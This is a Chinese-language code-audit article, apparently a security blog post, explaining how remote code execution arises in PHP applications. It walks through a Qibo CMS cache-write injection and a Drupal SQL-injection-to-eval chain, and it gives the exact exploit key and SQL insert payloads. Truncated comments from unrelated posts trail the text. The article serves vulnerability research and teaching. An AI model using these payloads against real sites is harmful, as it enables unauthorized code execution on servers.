说说RCE那些事儿

0x01 引言

如果OWASP给PHP漏洞弄个排行榜，那RCE（远程命令执行）绝对是最臭名昭著漏洞的前十名，其攻击方式灵活，且攻击成功后一般返回继承了web组件（如apache）权限的shell，危害自不必再多描述。那么，今天就来看看代码审计中到底该在哪里寻找命令执行？或者说，哪些功能会导致代码执行？

0x03 实例剖析

有人就说了，上面代码是简单的phpdemo而已，实际环境中的审计肯定没有那么简单，那么，当我们面对完整的php程序，他们面对对象，基于各种框架，还怎么去寻找RCE的踪迹呢？

我们来看几个实例

齐博cms缓存写入导致远程代码执行漏洞文件

foreach($label AS $key=>$value){
var_dump ($value);exit;//如果是新标签时,即为数组array(),要清空
if(is_array($value))
{
$label[$key]='';
}
}
//写缓存
if( (time()-filemtime($FileName))>($webdb[label_cache_time]*60) ){
$_shows="<?php\r\n\$haveCache=1;\r\n";

foreach($label AS $key=>$value){
$value=addslashes($value);
$_shows.="\$label['$key']=stripslashes('$value');\r\n";
}
write_file($FileName,$_shows.'?>');
} 
}

这段代码功能很好分析遍历标签（$label）变量，并且写入缓存，

我们看看过滤函数

function Add_S($array){
 foreach($array as $key=>$value){
if(!is_array($value)){
@eregi("['\\\"&]+",$key) && die('ERROR KEY!');
$value=str_replace("&#x","& # x",$value); //过滤一些不安全字符
$value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数
!get_magic_quotes_gpc() && $value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key]=Add_S($array[$key]); 
}
}
return $array;
}

这里检测key的机制就出问题,,我画了个图

简而言之，他只检测最底层的key 所以我们提交label[evilcode][asd]=xx匹配的key是asd 那么就不会被匹配出 evilcode就不会被检测。

由于qibo是伪全局

foreach($_POST AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}

会帮我们注册好提交的变量所以$label是能够直接控制的

那么也就是当我们提交

label['.phpinfo().'][asd]=sb

提交的key为''.phpinfo().''那么写入的本地文件就是

\$label[''.phpinfo().'']=stripslashes();\r\n";

这时所有引号全都闭合

缓存文件夹中也就写入了我们的shell

Drupal函数回调导致的RCE

Drupal作为世界上公认最强大的phpweb框架，一直在追求更安全的开发方法比如，它采用预编译的方法进行SQL交互，使得SQL注入漏洞几乎难以挖掘。然而在近期，由于一个功能中将SQL预编译权利交给了用户。

$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);

插入用户输入数据导致sql注入

又由于drupal采用的PDO是支持多行的，所以能执行任意语句，当然这不是今天的重点。今天我们看看如何漏洞扩大，把SQLI变成RCE 首先讲下call_user_func_array

(PHP 4 >= 4.0.4, PHP 5)

调用回调函数，并把一个数组参数作为回调函数的参数说明

mixed call_user_func_array ( callable $callback , array $param_arr )


$preferred_links = &drupal_static(__FUNCTION__); 
 If (!isset($path)) {    $path = $_GET['q'];  }

首先$path作为变量是可控的

function menu_execute_active_handler($path = NULL, $deliver = TRUE) {
 $page_callback_result = _menu_site_is_offline() ? MENU_SITE_OFFLINE : MENU_SITE_ONLINE; 
$read_only_path = !empty($path) ? $path : $_GET['q']; drupal_alter('menu_site_status', $page_callback_result, $read_only_path); 
if ($page_callback_result == MENU_SITE_ONLINE) { 
         if ($router_item = menu_get_item($path)) {
              if ($router_item['access']) { 
                   if ($router_item['include_file']) { 
require_once DRUPAL_ROOT . '/' . $router_item['include_file']; } $page_callback_result = call_user_func_array($router_item['page_callback'], $router_item['page_arguments']);
 } else { $page_callback_result = MENU_ACCESS_DENIED; 
} } else { $page_callback_result = MENU_NOT_FOUND; } } }

if ($router_item['include_file']) { require_once DRUPAL_ROOT . '/' . $router_item['include_file']; }

包含了文件

通过预编译注入向表中插入一个语句

insert into menu_router (path, page_callback, access_callback, include_file) values ('<?php phpinfo();?>','eval', '1', 'modules/php/php.module');

path 为要执行的代码； include_file 为 PHP filter Module 的路径； page_callback 为 eval； access_callback 为 1（可以让任意用户访问）。访问地址即可造成 RCE。

一般来讲，漏洞形成的原因基本都是“数据与代码未有效分离”，然而RCE是个例外，往往出现rce的地方本来就是供程序执行代码的地方，加上如今php程序功能越来越强大，各种地方相互调用，导致组合利用漏洞。所以程序员写起代码来往往都不知道改怎么去防御，或者说防不胜防。由于其漏洞实现的灵活性，寻找RCE，还是应该从功能入手，去研究代码实现了什么功能，最后变量进入什么函数，被如何调用，而不是简简单单的去进行关键字搜索，毕竟，如今代码审计已经从“哪里有洞”过渡到“如何绕过”的时代了。

	Article_kelp 因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由，你需要用s
N	Nas 师傅您好！_static_url_path那 flag在当前目录下通过原型链污
Z	zhangy 你好，为什么我也是用windows2016和win10，但是流量是smb3，加密
K	k0uaz foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取
	Yukong 🐮皮